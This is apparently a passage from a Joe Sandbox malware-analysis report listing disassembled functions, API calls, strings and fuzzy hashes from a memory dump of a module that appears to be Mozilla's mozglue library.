Instruction Fuzzy Hash: C421E1B1B003189FDB105F24DC08AAE7BB8FF45258F00C528E81AA7280CB70E54ACFE1

Function 6C9E7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9E7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9E7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9E707E

Part of subcall function 6C9981B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9981DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9E7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9E709C
LocalFree.KERNEL32(?), ref: 6C9E70AA

Strings

(null), xrefs: 6C9E706A, 6C9E7083
### ERROR: %s: %s, xrefs: 6C9E7087

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: b7e76944e00562f4e379a0e69cddebc970e7f9f44a16678545d63acc94afd1e4
Instruction ID: 2d47e62e0369765ca40d6731c6fa0d4015327339902ff0f2fca70044078b644e
Opcode Fuzzy Hash: b7e76944e00562f4e379a0e69cddebc970e7f9f44a16678545d63acc94afd1e4
Instruction Fuzzy Hash: 1C01FEB1B00205AFDB049F64EC4ADAF7BBCEF49298F050128F505E3241D731A9158BA1

Function 6C9A9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9A9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C9A9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9A9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C9AA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9AA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9AA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9AA8B1, 6C9AA8D4, 6C9AA8EF

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e217d85359d853b55d094d00dd73a47d870e4166b7e9d4f07263e7a161c2c501
Instruction ID: f6b94d1488511f2476afb35f41086d91a71cdc6bef86d121fde16b242d3431e5
Opcode Fuzzy Hash: e217d85359d853b55d094d00dd73a47d870e4166b7e9d4f07263e7a161c2c501
Instruction Fuzzy Hash: D6727D72A057118FD308CF69C540215FBE5BF89728F2AC6ADE8699B791D735E842CF80

Function 6C9D2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9D2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9D2C61

Part of subcall function 6C984DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C984E5A
Part of subcall function 6C984DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C984E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9D2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9D2E2D

Part of subcall function 6C9981B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9981DE

Strings

(root), xrefs: 6C9D354F
expected a Time entry, xrefs: 6C9D2E36
ProfileBuffer parse error: %s, xrefs: 6C9D2E3B

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: e016c4c1479c888f97112cb406ecb79b6fb050affbd8922923c194ca06c2c2c4
Instruction ID: 40aa1e53af016537ac6e13c5fcf013b69e890048a145daf9a9d7c9da2423fc0e
Opcode Fuzzy Hash: e016c4c1479c888f97112cb406ecb79b6fb050affbd8922923c194ca06c2c2c4
Instruction Fuzzy Hash: 7291CF70608B418FC724CF24C48469FB7F4AFD9358F118A1DE99AAB750DB30E94ACB52

Function 6C9AC0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C9AD4BB
0123456789abcdef, xrefs: 6C9AC317

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: d7be8e7874fabf3d9d55859a3a59383212bc0c82e58a49e2df572d1d31d4a6ab
Instruction ID: 3f7f16f715fe95716aa3291ea2a16776de8e37eb2deb59f693537977b3974145
Opcode Fuzzy Hash: d7be8e7874fabf3d9d55859a3a59383212bc0c82e58a49e2df572d1d31d4a6ab
Instruction Fuzzy Hash: 7D52D0716083418FD718CF58C45476AB7E6FB8A318F24891DE8E68BB91D736D847CB42

Function 6C9E9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9E9F3D
__aulldiv.LIBCMT ref: 6C9E9F77
__aullrem.LIBCMT ref: 6C9E9F8C
__aulldiv.LIBCMT ref: 6C9EA023

Strings

NaN, xrefs: 6C9E9EAB
-Infinity, xrefs: 6C9E9E60, 6C9E9E7B

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: dcd80ba1b4b2bae93b4a946ce7b6a6bd34ec2d5d8dd613e60ea333f580ce6cc0
Instruction ID: 183169923c4c2704fb9656aac39fdf7f2e1a17e75b6b615113d7b74b2906da5b
Opcode Fuzzy Hash: dcd80ba1b4b2bae93b4a946ce7b6a6bd34ec2d5d8dd613e60ea333f580ce6cc0
Instruction Fuzzy Hash: FFC1D031A003199FDB15CFA8C8407EEBBB6AFA9308F144529D405ABB90DB70ED49CB91

Function 6C98D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C98DC7F
@, xrefs: 6C98DAF6
, xrefs: 6C98DA88
8, xrefs: 6C98DC08
-, xrefs: 6C98D7DD
1, xrefs: 6C98DBDD
9, xrefs: 6C98DE7F
0, xrefs: 6C98D852

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 18a71a1321e2a45c35c57846153298bc5dc119337557d38481d141620de901bd
Instruction ID: f5abf33e06f95e41db6da724f38937388b77eb5cec304d452e146091cb29c856
Opcode Fuzzy Hash: 18a71a1321e2a45c35c57846153298bc5dc119337557d38481d141620de901bd
Instruction Fuzzy Hash: 2D62AB7250E3468FD701CE19C09076ABBE6AF86358F184E4FE4E54BB95C335D985CB82

Function 6C999F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C99A100
9, xrefs: 6C99A5D6
' , xrefs: 6C99A3D8
0, xrefs: 6C99AB22
1, xrefs: 6C99A824
@, xrefs: 6C99A625

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7f74545c4e3925696462c3fd130898c448ec6edb3268d5ae39ffb1068d299452
Instruction ID: ae4f5d0df7300c464c6fc3e44cb6a954ce5bac04650a11186f1723d4ae8f1ce8
Opcode Fuzzy Hash: 7f74545c4e3925696462c3fd130898c448ec6edb3268d5ae39ffb1068d299452
Instruction Fuzzy Hash: D582C231D093118BD710CF09C48026EB7F6FB85758F6D892AE8D947E90DB35E886CB82

Function 6C98BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C98C1CB
__aulldiv.LIBCMT ref: 6C98C24C
__aulldiv.LIBCMT ref: 6C98C348
__aullrem.LIBCMT ref: 6C98C365
__aulldiv.LIBCMT ref: 6C98C37D

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: b50c5ca6dd4994ff55c03d528bb23b20d58baf8978cc92122fb74fe9da59b68b
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 3B322532B056028FC718DE2CC890A66BBE6AFD9350F098B6DE495CB395D734ED05CB91

Function 6C9F545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9F8A4B

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 3d65f341bf39856b3ed3228a563a502fac79fd451862eee304cd1201f20ef100
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: DDB1E772E0021A8FDB24CF68CC907E9B7B2EF95314F1942A9C599DB781D730D986CB90

Function 6C9F542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9F88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9F925C

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: cac6702957baf1bfadb2c439b7635d6c62862094c793287a940f5a8168dece1e
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: F7B1D572E0021A8FCB14CE58CC806EDB7B6EF95314F194269C959EB785D730E99ACB90

Function 6C9F50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9F8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9F925C

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 5d1b7d2501adf08b20318a0e0618accacc6acdb33345c491c26390aa3b329a59
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: 4AA1D672A001178FCB14CE68CC807E9B7B6EF95314F1542B9C959EB785D730E99ACB90

Function 6C9D77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9D7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9D7A93

Part of subcall function 6C9A5C50: GetTickCount64.KERNEL32 ref: 6C9A5D40
Part of subcall function 6C9A5C50: EnterCriticalSection.KERNEL32(6CA0F688), ref: 6C9A5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9D7AA1

Part of subcall function 6C9A5C50: __aulldiv.LIBCMT ref: 6C9A5DB4
Part of subcall function 6C9A5C50: LeaveCriticalSection.KERNEL32(6CA0F688), ref: 6C9A5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9D7B31

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 10bf797545e4ec9fdef75efd31b5dc5745fd23f905edec74ac94dd79d9bc2436
Instruction ID: c3d441acf3ed9d3aa5401c23ca7035865a352f50d019cf44945fe438868a48ca
Opcode Fuzzy Hash: 10bf797545e4ec9fdef75efd31b5dc5745fd23f905edec74ac94dd79d9bc2436
Instruction Fuzzy Hash: 50B18B35708B818BCB14CF24C49065FB7E2BBD5318F168A5CE99577B94DB70F90A8B82

Function 6C9C6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C9C6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9C6E1E

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: a659ad69ca6a5ae5fe489192dab45e418c302c61b33c74797393f2a4bf08c344
Instruction ID: e2ea81d97a1f29f636be0e6f76302bcbe5ba0aadb2b4bab88c53cf27fab7357b
Opcode Fuzzy Hash: a659ad69ca6a5ae5fe489192dab45e418c302c61b33c74797393f2a4bf08c344
Instruction Fuzzy Hash: D5A18B746187818FD714CF24C4907AABBF6BFA8308F45891DE88A97751DB70E849CB93

Function 6C9EB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9EB720
RtlNtStatusToDosError.NTDLL ref: 6C9EB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C9BFE3F,00000000,00000000,?,?,00000000,?,6C9BFE3F), ref: 6C9EB760

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: f24f3c590becfe2d7380d95575d9f6ae01d0c2c56ab12ff245d04bb7b124c582
Instruction ID: 0967680dad59b90b81c630f312632db0203db84b355b6eb5301ce02242fb0247
Opcode Fuzzy Hash: f24f3c590becfe2d7380d95575d9f6ae01d0c2c56ab12ff245d04bb7b124c582
Instruction Fuzzy Hash: FFF0A470A4030DAEEF129AA28C84BDF77BC9F28719F105229D61161DC0D775D698C764

Function 6C9A4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C9A4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A5585, 6C9A55A8, 6C9A55C3, 6C9A5624

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 5dcbce452be1866376546c7d814b30d2b8e8499239cf9d7d5738d110b1d88df3
Instruction ID: c71ea2cdeb427bb59ab42bd84476a0624910ad9cd02b947625c7b2aef365c337
Opcode Fuzzy Hash: 5dcbce452be1866376546c7d814b30d2b8e8499239cf9d7d5738d110b1d88df3
Instruction Fuzzy Hash: 81B27F71A05B018FC708CF59C550715FBE6BFC5328B29C7ADE8698B6A5DB71E842CB80

Function 6C9E85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9E8C7C
__aulldiv.LIBCMT ref: 6C9E8DD7

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 181dddaed66264e041160c8559ae912a428e59be71a823ff8247d32bc369fe89
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D1325931F0021A8BDB1CCE9CC8A17BEB7B6FF98700F15852AD506BB790DA349D458B95

Function 6C9EB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9903D4,?), ref: 6C9EB955
NtQueryVirtualMemory.NTDLL ref: 6C9EB9A5

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: ee1a70e44e1311f2b10949cf9540cc9049b11f643950e9a6bac177c17ca87640
Instruction ID: 5c6f8cc927225435de14abde3e9c01242727f5e80757a7e9ecc8528133744519
Opcode Fuzzy Hash: ee1a70e44e1311f2b10949cf9540cc9049b11f643950e9a6bac177c17ca87640
Instruction Fuzzy Hash: D541B471F01319AFDF04CFA9D884ADEB7B9EF98358F148129E505A7744DB30D8458B94

Function 6C9C5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C994A63,?,?), ref: 6C9C5F06

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8ac3e33bb4a7ce04b5c05978d6059a18adc15ea90be3ce2a07f98819e0870a7a
Instruction ID: ef75061a21e305ebf26c3047908a244d62efbac7403cabfb7a0c9db7aad6abf0
